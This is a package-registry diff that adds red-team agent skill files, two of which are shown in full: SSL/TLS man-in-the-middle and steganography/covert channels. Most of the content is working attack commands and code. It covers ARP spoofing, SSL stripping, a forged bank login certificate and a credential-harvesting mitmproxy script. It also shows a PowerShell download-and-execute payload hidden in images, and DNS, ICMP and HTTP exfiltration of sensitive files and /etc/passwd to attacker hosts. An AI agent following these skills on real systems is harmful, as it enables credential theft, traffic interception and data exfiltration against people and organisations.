rtexit-method 0.1.4 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,305 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-ssl-mitm
|
|
3
|
+
description: "SSL/TLS interception and Man-in-the-Middle skill for authorized engagements. mitmproxy transparent proxy setup, Burp Suite MITM configuration, custom CA certificate injection, SSL stripping with SSLstrip2, HSTS bypass, certificate pinning bypass (mobile/desktop), TLS downgrade attacks, and traffic decryption workflows. Use when testing HTTPS applications, intercepting mobile app traffic, or demonstrating insecure TLS configurations."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-ssl-mitm — SSL/TLS Interception & Man-in-the-Middle
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
SSL/TLS MITM attacks intercept encrypted HTTPS traffic between a client and server. In authorized red team engagements, this demonstrates: weak certificate validation, missing HSTS, bypassable certificate pinning, insecure TLS configurations, and cleartext credential exposure after decryption.
|
|
11
|
+
|
|
12
|
+
**Attack scenarios:**
|
|
13
|
+
- Intercept mobile app traffic (no certificate pinning)
|
|
14
|
+
- Demonstrate SSL stripping on internal network
|
|
15
|
+
- Forge certificates to impersonate internal services
|
|
16
|
+
- Decrypt TLS traffic for credential harvesting
|
|
17
|
+
- TLS downgrade to expose weak cipher suites
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Prerequisites
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Install tools
|
|
25
|
+
pip3 install mitmproxy
|
|
26
|
+
apt install sslstrip2 bettercap wireshark tcpdump -y
|
|
27
|
+
|
|
28
|
+
# Burp Suite Pro/Community — https://portswigger.net/burp
|
|
29
|
+
# mitmproxy — https://mitmproxy.org
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Method 1 — mitmproxy (Full HTTPS Interception)
|
|
35
|
+
|
|
36
|
+
### 1a — Transparent Proxy (No client config needed — network position)
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Enable IP forwarding
|
|
40
|
+
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
41
|
+
|
|
42
|
+
# ARP spoof target (position yourself between target and gateway)
|
|
43
|
+
arpspoof -i eth0 -t TARGET_IP GATEWAY_IP &
|
|
44
|
+
arpspoof -i eth0 -t GATEWAY_IP TARGET_IP &
|
|
45
|
+
|
|
46
|
+
# Redirect HTTP and HTTPS to mitmproxy
|
|
47
|
+
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
|
|
48
|
+
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
49
|
+
|
|
50
|
+
# Start mitmproxy in transparent mode
|
|
51
|
+
mitmproxy --mode transparent --showhost
|
|
52
|
+
|
|
53
|
+
# Or mitmdump (no UI — log to file)
|
|
54
|
+
mitmdump --mode transparent --showhost -w traffic.mitm
|
|
55
|
+
|
|
56
|
+
# View captured traffic
|
|
57
|
+
mitmproxy -r traffic.mitm
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### 1b — Regular Proxy Mode (Configure browser/app to use proxy)
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
# Start mitmproxy
|
|
64
|
+
mitmproxy -p 8080
|
|
65
|
+
|
|
66
|
+
# Or with web UI
|
|
67
|
+
mitmweb -p 8080
|
|
68
|
+
# Access: http://127.0.0.1:8081
|
|
69
|
+
|
|
70
|
+
# Install mitmproxy CA cert on target device
|
|
71
|
+
# CA cert location: ~/.mitmproxy/mitmproxy-ca-cert.pem
|
|
72
|
+
# Android: Settings → Security → Install from storage
|
|
73
|
+
# iOS: Settings → General → Profile → Install
|
|
74
|
+
# Windows: certmgr.msc → Trusted Root CAs → Import
|
|
75
|
+
# Linux: cp mitmproxy-ca-cert.pem /usr/local/share/ca-certificates/ && update-ca-certificates
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### 1c — mitmproxy Scripts (Extract credentials automatically)
|
|
79
|
+
|
|
80
|
+
```python
|
|
81
|
+
# cred_extractor.py — auto-extract POST credentials
|
|
82
|
+
from mitmproxy import http
|
|
83
|
+
import re
|
|
84
|
+
|
|
85
|
+
def request(flow: http.HTTPFlow):
|
|
86
|
+
if flow.request.method == "POST":
|
|
87
|
+
body = flow.request.get_text()
|
|
88
|
+
# Extract common credential patterns
|
|
89
|
+
patterns = [
|
|
90
|
+
r'(password|passwd|pass|pwd)=([^&\s]+)',
|
|
91
|
+
r'(username|user|login|email)=([^&\s]+)',
|
|
92
|
+
r'"(password|token|api_key)"\s*:\s*"([^"]+)"',
|
|
93
|
+
]
|
|
94
|
+
for p in patterns:
|
|
95
|
+
for m in re.findall(p, body, re.IGNORECASE):
|
|
96
|
+
print(f"[CRED] {flow.request.host} | {m[0]}={m[1]}")
|
|
97
|
+
# Log all POST to file
|
|
98
|
+
with open("/tmp/posts.log", "a") as f:
|
|
99
|
+
f.write(f"\n=== {flow.request.host}{flow.request.path} ===\n{body}\n")
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# Run with script
|
|
104
|
+
mitmproxy -p 8080 -s cred_extractor.py
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
---
|
|
108
|
+
|
|
109
|
+
## Method 2 — Burp Suite MITM
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Start Burp Suite → Proxy → Options
|
|
113
|
+
# Bind: 0.0.0.0:8080 (all interfaces)
|
|
114
|
+
# Import Burp CA: http://burpsuite/cert → download → install on target
|
|
115
|
+
|
|
116
|
+
# Intercept all HTTPS from target network
|
|
117
|
+
# Add upstream proxy chain if needed:
|
|
118
|
+
# User Options → Connections → Upstream Proxy → add target network gateway
|
|
119
|
+
|
|
120
|
+
# Burp invisible proxy (for non-proxy-aware clients)
|
|
121
|
+
# Proxy → Options → Edit listener → Request Handling
|
|
122
|
+
# ☑ Support invisible proxying
|
|
123
|
+
# Add iptables redirect rules (same as mitmproxy transparent)
|
|
124
|
+
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Method 3 — SSL Stripping (HTTP Downgrade)
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# SSLstrip2 + bettercap — downgrades HTTPS to HTTP even with HSTS (partially)
|
|
133
|
+
|
|
134
|
+
# Method A: bettercap (modern, all-in-one)
|
|
135
|
+
bettercap -iface eth0
|
|
136
|
+
|
|
137
|
+
# In bettercap console:
|
|
138
|
+
net.probe on # Discover hosts
|
|
139
|
+
set arp.spoof.targets TARGET_IP
|
|
140
|
+
arp.spoof on # Position as MITM
|
|
141
|
+
set net.sniff.verbose true
|
|
142
|
+
net.sniff on # Capture traffic
|
|
143
|
+
https.proxy on # SSL strip
|
|
144
|
+
|
|
145
|
+
# Method B: sslstrip2
|
|
146
|
+
python3 sslstrip2.py -l 10000 -w stripped.log
|
|
147
|
+
|
|
148
|
+
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
|
149
|
+
|
|
150
|
+
# HSTS bypass technique: rename www.target.com → wwww.target.com (extra w)
|
|
151
|
+
# If HSTS not pinned to subdomains, works on some sites
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
---
|
|
155
|
+
|
|
156
|
+
## Method 4 — Custom CA Certificate Forgery
|
|
157
|
+
|
|
158
|
+
```bash
|
|
159
|
+
# Generate your own CA
|
|
160
|
+
openssl genrsa -out myCA.key 4096
|
|
161
|
+
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 1825 \
|
|
162
|
+
-out myCA.pem \
|
|
163
|
+
-subj "/C=US/ST=NY/O=Corp IT/CN=Corp Internal CA"
|
|
164
|
+
|
|
165
|
+
# Sign a fake certificate for any domain
|
|
166
|
+
openssl genrsa -out fake.key 2048
|
|
167
|
+
openssl req -new -key fake.key -out fake.csr \
|
|
168
|
+
-subj "/CN=login.bank.com/O=Bank Corp/C=US"
|
|
169
|
+
|
|
170
|
+
openssl x509 -req -in fake.csr -CA myCA.pem -CAkey myCA.key \
|
|
171
|
+
-CAcreateserial -out fake.crt -days 365 -sha256 \
|
|
172
|
+
-extfile <(printf "subjectAltName=DNS:login.bank.com,DNS:*.bank.com")
|
|
173
|
+
|
|
174
|
+
# Configure nginx to serve with fake cert
|
|
175
|
+
server {
|
|
176
|
+
listen 443 ssl;
|
|
177
|
+
server_name login.bank.com;
|
|
178
|
+
ssl_certificate /path/to/fake.crt;
|
|
179
|
+
ssl_certificate_key /path/to/fake.key;
|
|
180
|
+
location / { proxy_pass https://real-login.bank.com; }
|
|
181
|
+
}
|
|
182
|
+
# If target has your CA installed → no browser warning
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
---
|
|
186
|
+
|
|
187
|
+
## Method 5 — TLS Configuration Audit & Downgrade
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
# Test TLS configuration of target
|
|
191
|
+
testssl.sh https://target.com
|
|
192
|
+
# Checks: supported versions, cipher suites, HSTS, HPKP, certificate issues
|
|
193
|
+
|
|
194
|
+
# Check for weak ciphers
|
|
195
|
+
nmap --script ssl-enum-ciphers -p 443 target.com
|
|
196
|
+
# Look for: SSLv3, TLSv1.0, TLSv1.1, RC4, DES, EXPORT ciphers
|
|
197
|
+
|
|
198
|
+
# Check certificate details
|
|
199
|
+
openssl s_client -connect target.com:443 -showcerts 2>/dev/null | openssl x509 -noout -text
|
|
200
|
+
# Look for: SHA1 signature, weak key size (<2048), expired, wrong SAN
|
|
201
|
+
|
|
202
|
+
# TLS downgrade test
|
|
203
|
+
openssl s_client -connect target.com:443 -tls1 # Force TLS 1.0
|
|
204
|
+
openssl s_client -connect target.com:443 -ssl3 # Force SSLv3 (POODLE)
|
|
205
|
+
openssl s_client -connect target.com:443 -cipher RC4-SHA # Force RC4
|
|
206
|
+
|
|
207
|
+
# BEAST/POODLE/DROWN scanner
|
|
208
|
+
python3 test-rc4.py target.com
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## Method 6 — Certificate Pinning Bypass
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
# Mobile apps pin the server certificate — MITM fails without bypass
|
|
217
|
+
# See also: rt-exploit-android / rt-exploit-ios for Frida-based bypass
|
|
218
|
+
|
|
219
|
+
# Universal pinning bypass (Frida)
|
|
220
|
+
frida -U -f com.target.app --no-pause -s ssl-pinning-bypass.js
|
|
221
|
+
# Scripts: github.com/httptoolkit/frida-interception-and-unpinning
|
|
222
|
+
|
|
223
|
+
# objection (easier)
|
|
224
|
+
objection -g com.target.app explore
|
|
225
|
+
objection> android sslpinning disable
|
|
226
|
+
objection> ios sslpinning disable
|
|
227
|
+
|
|
228
|
+
# Desktop apps (Charles/mitmproxy CA install + bypass)
|
|
229
|
+
# Electron: nodeIntegration=true → patch tlsSocket
|
|
230
|
+
# .NET: add custom CertificateValidationCallback returning true
|
|
231
|
+
# Java: override TrustManager to accept all certs
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Method 7 — Network-Wide Interception (Internal Red Team)
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Full internal network MITM — intercept all HTTPS traffic on subnet
|
|
240
|
+
|
|
241
|
+
# Step 1 — ARP spoof entire subnet (use carefully — can cause DoS)
|
|
242
|
+
bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.0/24; arp.spoof on; net.sniff on"
|
|
243
|
+
|
|
244
|
+
# Step 2 — Redirect all HTTPS to mitmproxy
|
|
245
|
+
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
|
|
246
|
+
mitmproxy --mode transparent
|
|
247
|
+
|
|
248
|
+
# Step 3 — Parse captured traffic
|
|
249
|
+
mitmdump -r traffic.mitm -q --flow-detail 3 | grep -i "password\|token\|Authorization"
|
|
250
|
+
|
|
251
|
+
# Step 4 — Extract credentials from MITM dump
|
|
252
|
+
python3 << 'EOF'
|
|
253
|
+
from mitmproxy.io import FlowReader
|
|
254
|
+
with open("traffic.mitm", "rb") as f:
|
|
255
|
+
reader = FlowReader(f)
|
|
256
|
+
for flow in reader.stream():
|
|
257
|
+
if hasattr(flow, 'request') and flow.request.method == "POST":
|
|
258
|
+
print(f"HOST: {flow.request.host}")
|
|
259
|
+
print(f"BODY: {flow.request.get_text()[:500]}")
|
|
260
|
+
print("---")
|
|
261
|
+
EOF
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Skill Levels
|
|
267
|
+
|
|
268
|
+
**BEGINNER:** Burp Suite proxy + install CA cert → intercept browser traffic
|
|
269
|
+
|
|
270
|
+
**INTERMEDIATE:** mitmproxy transparent proxy + ARP spoof → network-wide interception + credential extraction script
|
|
271
|
+
|
|
272
|
+
**ADVANCED:** SSL stripping with bettercap + HSTS bypass + certificate forgery for internal services
|
|
273
|
+
|
|
274
|
+
**EXPERT:** Custom mitmproxy scripts for automated credential harvesting + TLS fingerprint analysis + certificate pinning bypass on hardened apps
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Findings Documentation
|
|
279
|
+
|
|
280
|
+
```
|
|
281
|
+
Finding: SSL/TLS Interception Possible
|
|
282
|
+
Severity: HIGH
|
|
283
|
+
CVSS: 7.4 (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
|
|
284
|
+
MITRE: T1557.002 (ARP Cache Poisoning), T1040 (Network Sniffing)
|
|
285
|
+
|
|
286
|
+
Evidence:
|
|
287
|
+
- Screenshot of intercepted credentials in mitmproxy
|
|
288
|
+
- List of hosts with no HSTS or HPKP
|
|
289
|
+
- TLS version support matrix from testssl.sh
|
|
290
|
+
|
|
291
|
+
Remediation:
|
|
292
|
+
- Enforce HSTS with max-age=31536000; includeSubDomains; preload
|
|
293
|
+
- Implement certificate pinning in mobile/desktop apps
|
|
294
|
+
- Disable TLS 1.0/1.1 and weak cipher suites
|
|
295
|
+
- Deploy 802.1X on internal network to prevent ARP spoofing
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
---
|
|
299
|
+
|
|
300
|
+
## References
|
|
301
|
+
|
|
302
|
+
- mitmproxy docs: https://docs.mitmproxy.org
|
|
303
|
+
- bettercap: https://www.bettercap.org
|
|
304
|
+
- testssl.sh: https://github.com/drwetter/testssl.sh
|
|
305
|
+
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
|
|
@@ -0,0 +1,293 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-steganography
|
|
3
|
+
description: "Steganography detection, extraction, and covert channel exploitation skill for authorized engagements. LSB steganography detection in images/audio, StegSolve analysis, outguess and steghide extraction, DNS tunneling for C2 and data exfiltration, ICMP covert channel, HTTP header hiding, and polyglot file creation. Use when testing data exfiltration controls, covert channel detection, or analyzing suspicious files."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-steganography — Steganography & Covert Channels
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Steganography hides data inside legitimate files (images, audio, video, documents). Covert channels transmit data through unexpected protocol fields. In red team engagements these are used for: stealthy C2 communication, data exfiltration bypassing DLP, and hiding payloads inside innocent-looking files.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Steganography Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Install tools
|
|
18
|
+
apt install steghide outguess stegosuite binwalk exiftool -y
|
|
19
|
+
pip3 install stegano
|
|
20
|
+
|
|
21
|
+
# Check file for embedded data
|
|
22
|
+
steghide info suspicious.jpg # Check if steghide used
|
|
23
|
+
steghide extract -sf suspicious.jpg -p "" # Try empty password
|
|
24
|
+
|
|
25
|
+
# Check metadata for hidden info
|
|
26
|
+
exiftool suspicious.jpg # EXIF data — can contain hidden text
|
|
27
|
+
exiftool -all= clean.jpg # Strip all metadata (for cleanup)
|
|
28
|
+
|
|
29
|
+
# binwalk — find embedded files
|
|
30
|
+
binwalk suspicious.jpg
|
|
31
|
+
binwalk -e suspicious.jpg # Extract embedded content
|
|
32
|
+
# Look for: PK (zip), JFIF (jpeg), PNG header embedded in another file
|
|
33
|
+
|
|
34
|
+
# Check for appended data after EOF
|
|
35
|
+
xxd suspicious.jpg | tail -20
|
|
36
|
+
# Normal JPEG ends with: FF D9
|
|
37
|
+
# Data after FF D9 = hidden content
|
|
38
|
+
|
|
39
|
+
# File size anomaly detection
|
|
40
|
+
# Expected JPG at resolution X×Y should be ~N bytes
|
|
41
|
+
# If much larger → hidden data likely
|
|
42
|
+
identify -verbose suspicious.jpg | grep "File size"
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### 1b — LSB Analysis with StegSolve
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# StegSolve — visual steganography analyzer
|
|
49
|
+
# java -jar stegsolve.jar
|
|
50
|
+
|
|
51
|
+
# Manual LSB check (Python)
|
|
52
|
+
python3 << 'EOF'
|
|
53
|
+
from PIL import Image
|
|
54
|
+
|
|
55
|
+
def extract_lsb(image_path, num_bits=1):
|
|
56
|
+
img = Image.open(image_path).convert("RGB")
|
|
57
|
+
pixels = list(img.getdata())
|
|
58
|
+
bits = ""
|
|
59
|
+
for pixel in pixels:
|
|
60
|
+
for channel in pixel:
|
|
61
|
+
bits += str(channel & 1) # LSB of each channel
|
|
62
|
+
# Convert bits to text
|
|
63
|
+
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
|
|
64
|
+
text = ""
|
|
65
|
+
for c in chars:
|
|
66
|
+
try:
|
|
67
|
+
char = chr(int(c, 2))
|
|
68
|
+
if char.isprintable():
|
|
69
|
+
text += char
|
|
70
|
+
else:
|
|
71
|
+
break
|
|
72
|
+
except: break
|
|
73
|
+
return text[:500] # First 500 printable chars
|
|
74
|
+
|
|
75
|
+
result = extract_lsb("suspicious.jpg")
|
|
76
|
+
print("LSB content:", result)
|
|
77
|
+
EOF
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 1c — Statistical Detection
|
|
81
|
+
|
|
82
|
+
```bash
|
|
83
|
+
# StegoVeritas — comprehensive stego analysis
|
|
84
|
+
pip3 install stegoveritas
|
|
85
|
+
stegoveritas suspicious.jpg -out ./analysis/
|
|
86
|
+
# Tests: LSB, metadata, appended data, color histograms, etc.
|
|
87
|
+
|
|
88
|
+
# zsteg — detect in PNG/BMP
|
|
89
|
+
gem install zsteg
|
|
90
|
+
zsteg suspicious.png # Try all common stego methods
|
|
91
|
+
zsteg -a suspicious.png # Try all channels
|
|
92
|
+
|
|
93
|
+
# Audio steganography detection
|
|
94
|
+
apt install mp3stego sox -y
|
|
95
|
+
mp3stego -X suspicious.mp3 # Check MP3 for hidden data
|
|
96
|
+
|
|
97
|
+
# Spectrum analysis (audio)
|
|
98
|
+
python3 << 'EOF'
|
|
99
|
+
import numpy as np
|
|
100
|
+
import scipy.io.wavfile as wav
|
|
101
|
+
import matplotlib.pyplot as plt
|
|
102
|
+
|
|
103
|
+
rate, data = wav.read("suspicious.wav")
|
|
104
|
+
freq = np.fft.fft(data[:rate]) # First second
|
|
105
|
+
plt.specgram(data, Fs=rate, cmap='inferno')
|
|
106
|
+
plt.savefig("spectrum.png")
|
|
107
|
+
# Visual: hidden text/images sometimes visible in spectrogram
|
|
108
|
+
EOF
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## Phase 2 — Embed Data (Red Team Exfiltration)
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Steghide — embed file in JPEG/BMP/WAV/AU
|
|
117
|
+
steghide embed -cf cover.jpg -sf secret.txt -p "passphrase" -sf output.jpg
|
|
118
|
+
# -cf = cover file, -sf = secret file, -p = password
|
|
119
|
+
|
|
120
|
+
# Hide PowerShell payload in image
|
|
121
|
+
echo "IEX(New-Object Net.WebClient).DownloadString('http://C2/shell.ps1')" > payload.txt
|
|
122
|
+
steghide embed -cf photo.jpg -sf payload.txt -p "" -f # No password, force
|
|
123
|
+
|
|
124
|
+
# Extract on target
|
|
125
|
+
steghide extract -sf photo.jpg -p ""
|
|
126
|
+
|
|
127
|
+
# Outguess (harder to detect)
|
|
128
|
+
outguess -k "secretkey" -d hidden.txt cover.jpg output.jpg
|
|
129
|
+
outguess -k "secretkey" -r output.jpg recovered.txt
|
|
130
|
+
|
|
131
|
+
# Hide in document metadata
|
|
132
|
+
exiftool -Comment="BASE64_PAYLOAD" document.pdf
|
|
133
|
+
exiftool -Artist="$(cat payload.txt | base64)" photo.jpg
|
|
134
|
+
|
|
135
|
+
# Polyglot file (valid as two different formats)
|
|
136
|
+
# JPEG + ZIP polyglot — opens as image AND contains ZIP
|
|
137
|
+
cat cover.jpg payload.zip > polyglot.jpg
|
|
138
|
+
# unzip polyglot.jpg → extracts ZIP contents
|
|
139
|
+
# browser/image viewer → shows image
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
---
|
|
143
|
+
|
|
144
|
+
## Phase 3 — DNS Tunneling (C2 / Exfiltration)
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# DNS tunneling encodes data in DNS queries/responses
|
|
148
|
+
# Bypasses most firewalls (DNS port 53 almost always allowed)
|
|
149
|
+
|
|
150
|
+
# iodine — full IP tunnel over DNS
|
|
151
|
+
# Server (needs a domain with NS record pointing to your server)
|
|
152
|
+
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
|
|
153
|
+
# Client (on compromised host)
|
|
154
|
+
iodine -f -P password tunnel.attacker.com
|
|
155
|
+
# Creates tun0 with 10.0.0.2 → full IP connectivity over DNS
|
|
156
|
+
|
|
157
|
+
# dnscat2 — DNS C2 (simpler, no root needed)
|
|
158
|
+
# Server
|
|
159
|
+
ruby dnscat2.rb --dns "domain=tunnel.attacker.com,host=0.0.0.0" --secret=password
|
|
160
|
+
|
|
161
|
+
# Client (on target)
|
|
162
|
+
./dnscat --dns domain=tunnel.attacker.com --secret=password
|
|
163
|
+
# Or PowerShell client:
|
|
164
|
+
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-DNScat.ps1')
|
|
165
|
+
Invoke-DNScat -Domain tunnel.attacker.com -Secret password
|
|
166
|
+
|
|
167
|
+
# Manual DNS exfiltration (no tool needed — extreme environments)
|
|
168
|
+
# Split secret into 63-char DNS label chunks
|
|
169
|
+
python3 << 'EOF'
|
|
170
|
+
import base64, subprocess
|
|
171
|
+
|
|
172
|
+
secret = open("sensitive_data.txt", "rb").read()
|
|
173
|
+
encoded = base64.b32encode(secret).decode().lower().rstrip("=")
|
|
174
|
+
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
|
|
175
|
+
for i, chunk in enumerate(chunks):
|
|
176
|
+
# Each chunk = DNS query → logged by attacker's DNS server
|
|
177
|
+
subprocess.run(["nslookup", f"{i}.{chunk}.exfil.attacker.com"], capture_output=True)
|
|
178
|
+
EOF
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## Phase 4 — ICMP Covert Channel
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# ptunnel-ng — TCP over ICMP (bypasses TCP-blocking firewalls)
|
|
187
|
+
# Server (attacker)
|
|
188
|
+
ptunnel-ng -p ATTACKER_IP
|
|
189
|
+
|
|
190
|
+
# Client (compromised host — only ICMP allowed out)
|
|
191
|
+
ptunnel-ng -p ATTACKER_IP -lp 8022 -da INTERNAL_SSH_HOST -dp 22
|
|
192
|
+
# Routes TCP port 8022 → ICMP → INTERNAL_SSH_HOST:22
|
|
193
|
+
ssh -p 8022 user@localhost
|
|
194
|
+
|
|
195
|
+
# Manual ICMP data hiding
|
|
196
|
+
python3 << 'EOF'
|
|
197
|
+
from scapy.all import *
|
|
198
|
+
|
|
199
|
+
# Hide data in ICMP echo request payload
|
|
200
|
+
secret = b"stolen_credential_hash_here"
|
|
201
|
+
packet = IP(dst="8.8.8.8") / ICMP(type=8, code=0) / Raw(load=secret)
|
|
202
|
+
send(packet)
|
|
203
|
+
|
|
204
|
+
# Receive: monitor ICMP on attacker side
|
|
205
|
+
sniff(filter="icmp and icmp[icmptype]=8",
|
|
206
|
+
prn=lambda p: print("RECV:", bytes(p[Raw])))
|
|
207
|
+
EOF
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
---
|
|
211
|
+
|
|
212
|
+
## Phase 5 — HTTP/HTTPS Covert Channels
|
|
213
|
+
|
|
214
|
+
```bash
|
|
215
|
+
# Hide data in HTTP headers (not logged by most proxies)
|
|
216
|
+
curl https://target.com/ \
|
|
217
|
+
-H "X-Custom-Data: $(echo 'stolen data' | base64)" \
|
|
218
|
+
-H "X-Request-ID: $(cat /etc/passwd | head -1 | base64)"
|
|
219
|
+
|
|
220
|
+
# HTTP timing channel (encode bits via request timing)
|
|
221
|
+
python3 << 'EOF'
|
|
222
|
+
import requests, time
|
|
223
|
+
|
|
224
|
+
def send_bit(bit, url):
|
|
225
|
+
if bit == '1':
|
|
226
|
+
time.sleep(0.5) # Delay = 1 bit
|
|
227
|
+
requests.get(url) # Request = 0 bit
|
|
228
|
+
|
|
229
|
+
secret = "SECRET"
|
|
230
|
+
bits = ''.join(format(ord(c), '08b') for c in secret)
|
|
231
|
+
for bit in bits:
|
|
232
|
+
send_bit(bit, "https://attacker.com/beacon")
|
|
233
|
+
EOF
|
|
234
|
+
|
|
235
|
+
# Exfil in User-Agent or other headers
|
|
236
|
+
# (many DLP tools don't inspect all headers)
|
|
237
|
+
curl "https://www.google.com" \
|
|
238
|
+
-H "User-Agent: Mozilla/5.0 $(cat sensitive.txt | base64 | tr -d '\n' | head -c 100)"
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
---
|
|
242
|
+
|
|
243
|
+
## Phase 6 — DLP Bypass Techniques
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# Bypass Data Loss Prevention controls
|
|
247
|
+
|
|
248
|
+
# Encode data to avoid keyword detection
|
|
249
|
+
cat sensitive.txt | base64 | curl -X POST https://attacker.com/ -d @-
|
|
250
|
+
cat sensitive.txt | gzip | base64 | curl -X POST https://attacker.com/ -d @-
|
|
251
|
+
|
|
252
|
+
# Embed in image (DLP can't scan steganography)
|
|
253
|
+
steghide embed -cf innocent.jpg -sf sensitive.txt -p "key" && \
|
|
254
|
+
curl -X POST https://fileupload.attacker.com/ -F "file=@innocent.jpg"
|
|
255
|
+
|
|
256
|
+
# Exfil via cloud storage (often whitelisted by DLP)
|
|
257
|
+
aws s3 cp sensitive.txt s3://attacker-bucket/ --acl public-read
|
|
258
|
+
# Or: Google Drive, Dropbox, OneDrive via API
|
|
259
|
+
|
|
260
|
+
# Exfil over allowed SaaS APIs
|
|
261
|
+
# Slack: post to attacker-controlled workspace
|
|
262
|
+
curl -X POST https://slack.com/api/files.upload \
|
|
263
|
+
-H "Authorization: Bearer ATTACKER_TOKEN" \
|
|
264
|
+
-F file=@sensitive.txt -F channels=C0123456
|
|
265
|
+
|
|
266
|
+
# GitHub Gist
|
|
267
|
+
curl -X POST https://api.github.com/gists \
|
|
268
|
+
-H "Authorization: token ATTACKER_TOKEN" \
|
|
269
|
+
-d "{\"public\":false,\"files\":{\"data.txt\":{\"content\":\"$(base64 sensitive.txt)\"}}}"
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
---
|
|
273
|
+
|
|
274
|
+
## Skill Levels
|
|
275
|
+
|
|
276
|
+
**BEGINNER:** steghide/binwalk for detection · Basic LSB extraction · DNS exfiltration via nslookup
|
|
277
|
+
|
|
278
|
+
**INTERMEDIATE:** iodine/dnscat2 C2 tunnel · ICMP covert channel · Embed payloads in images · DLP bypass via encoding
|
|
279
|
+
|
|
280
|
+
**ADVANCED:** ptunnel-ng TCP-over-ICMP · Custom ICMP/HTTP covert channels · Statistical stego detection
|
|
281
|
+
|
|
282
|
+
**EXPERT:** Custom DNS C2 protocol · Timing covert channels · Steganography in video streams · Anti-forensic exfiltration
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
## References
|
|
287
|
+
|
|
288
|
+
- iodine: https://github.com/yarrick/iodine
|
|
289
|
+
- dnscat2: https://github.com/iagox86/dnscat2
|
|
290
|
+
- ptunnel-ng: https://github.com/utoni/ptunnel-ng
|
|
291
|
+
- steghide: https://steghide.sourceforge.net
|
|
292
|
+
